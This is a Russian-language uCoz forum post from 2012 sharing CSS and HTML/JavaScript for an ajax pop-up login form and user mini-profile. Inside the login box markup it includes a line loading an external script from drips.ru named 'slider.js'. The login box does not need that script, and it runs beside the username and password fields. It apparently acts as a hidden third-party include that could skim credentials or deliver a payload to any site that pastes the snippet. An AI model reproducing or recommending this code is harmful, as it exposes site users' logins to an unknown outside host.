«У нас » Вы найдете массу полезных скриптов и шаблонов для ucoz, иконок групп и кнопок для форумов, а также кисти и шрифты для фотошопа
Добро пожаловать на форум!

[ Новые сообщения ] · [ Участники ] · [ Правила ] · [ Ваша ссылка ] · [ Ваша ссылка ] ·

  • Страница 1 из 1
  • 1
Новая форма входа для Ucoz в ajax окне
BatareykaДата: Воскресенье, 05.02.2012, 11:21 | Сообщение # 1
Сообщений: 7
[ 0 ]
Награды:
[ 0 ]
Нигерия Нигерия
Скрин: http://s59.radikal.ru/i163/1202/ff/5d5e98ba0e41.png

Новая форма входа для Ucoz в ajax окне + мини-профиль в ajax окне
Форма входа и мини-профиль вызываются спомощью ссылки.
Вставляем в css в самый низ:

Code
/* User Box */   
   #userbox {text-shadow:0 -1px 0 #446b81;color:#fff;font:normal 14px Trebuchet MS,Arial,Tahoma,Verdana;display:none;position:fixed;top:50%;left:50%;padding:29px 33px 0;width:250px;margin-left:-158px;margin-top:-140px;height:281px;background:url('http://www.csomsk.ru/1-ucoz/pm/user_box.png') no-repeat 0 0;}   
   #userbox a {color:#fff;text-decoration:none;}   
   #userbox a:hover {text-decoration:underline;}   
   #userbox span#nm {font:bold 26px Trebuchet MS,Arial,Tahoma,Verdana;margin-bottom:18px;display:block;}   
   #userbox #cls {width:25px;height:25px;display:block;float:right;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -133px;cursor:pointer;}   
   #userbox input[type='text'], #userbox input[type='password'] {margin-top:19px;padding:0 13px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 0;font:normal 15px/38px Trebuchet MS,Arial,Tahoma,Verdana;width:224px;height:37px;color:#9f9f9f;border:none;outline:none;}   

   #userbox input#log_in {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}   
   #userbox input#log_in:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px -41px;}   
   #userbox input#log_out {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}   
   #userbox input#log_out:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 -41px;}   

   #userbox #avatar {width:95px;height:96px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -37px;float:left;margin-right:22px;margin-top:19px;}   
   #userbox #avatar img {max-with:85px;max-height:85px;margin:5px 5px 0 5px;border:none;}   
   #userbox #u_block {padding-top:21px;}   
   #userbox #u_block a {display:block;}   
   /* -------- */


Где хотите видеть ссылку для вызова вставляем:

Code
<!-- User_Box -->   
   <script type="text/javascript">function log_in() {$('input[name=user]').val($('#u_login').val());$('input[name=password]').val($('#u_pass').val());$('input[name=sbm]').click();}</script>   
   <div id='userbox'>   
   <div id='cls' title='Закрыть' onclick="$('#userbox').fadeOut();"></div>   
   <script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <span id='nm'><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></span>   
   <?if($USER_LOGGED_IN$)?>   
   <div id='avatar'><img src='$USER_AVATAR_URL$' alt='avatar' title='$USERNAME$'></div>   
   <div id='u_block'>   
   <a href='/news/0-0-0-1'>Добавить Новость</a>   
   <a href='/index/14'>Сообщения: <span title='Непрочитанных сообщений: $UNREAD_PM$'>$UNREAD_PM$</span></a>   
   <a href='/index/8'>Мой Профиль</a>   
   <a href='/index/11'>Изенить Данные</a>   
   <a href='/index/15'>Все Пользовтели</a>   
   <input type='button' value='' title='Выйти' id="log_out" onclick="location.href='/index/10'">   
   </div>   
   <?else?><input type='text' id='u_login' value='Логин' size='20' maxlength='50' onblur="if(value == ''){value = 'Логин'}" onfocus="if(value == 'Логин'){value =''}">   
   <input type='password' id='u_pass' value='Пароль' size='20' maxlength='50' onblur="if(value == ''){value = 'Пароль'}" onfocus="if(value == 'Пароль'){value =''}">   
   <input type='button' value='' id="log_in" onclick='log_in();'>   
   <?endif?>   
   </div>   
   <!-- /User_Box -->
<a href="javascript://" onclick="$('#userbox').fadeIn();"><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></a>


ВНИМАНИЕ: Стандартную форму входа нужно удалить и глобольных блоков (Если есть)
  • Страница 1 из 1
  • 1
Поиск:


Статистика Форума
Новые темы Читаемые темы Лучшии пользователи Новые пользователи

Анекдоты

(96)

Считаем до 1000

(65)

Отними -5

(33)

Игра В слова

(15)

Угадай число и уин твой

(8)

+15

(7)

Какая соц. сеть самая луч...

(7)

Общение

(6)

Ваш антивирус

(6)

Набор модераторов

(5)

Считаем до 1000

(65)

А сколько хостов на ваше...

(3)

Общение

(6)

Скрипт "Новости сай...

(0)

Новые анекдоты на вашем ...

(0)

Новая форма входа для Uc...

(0)

Слайдер партнерских мест...

(0)

Элегантная форма входа с...

(0)

Очень хорошие флэш радио...

(0)

Форма входа

(0)

psIx

(400)

Kavkazec05

(270)

sYrox

(67)

Helena

(60)

}{aKeR

(25)

ValeraTerechenko

(23)

Kavkazec

(12)

kragsburger

(11)

SANURI

(10)

Batareyka

(7)

ravatta

(28.09.2025)

nerolinker

(02.12.2023)

Ingvarr

(02.02.2023)

kupit_ikonu

(19.03.2016)

50x50

(06.03.2016)

IvanJudin

(10.02.2016)

DJAndrei-Muha4eff

(13.02.2015)

=D

(06.04.2014)

jimbot-xak

(25.02.2014)

dog3865

(25.12.2013)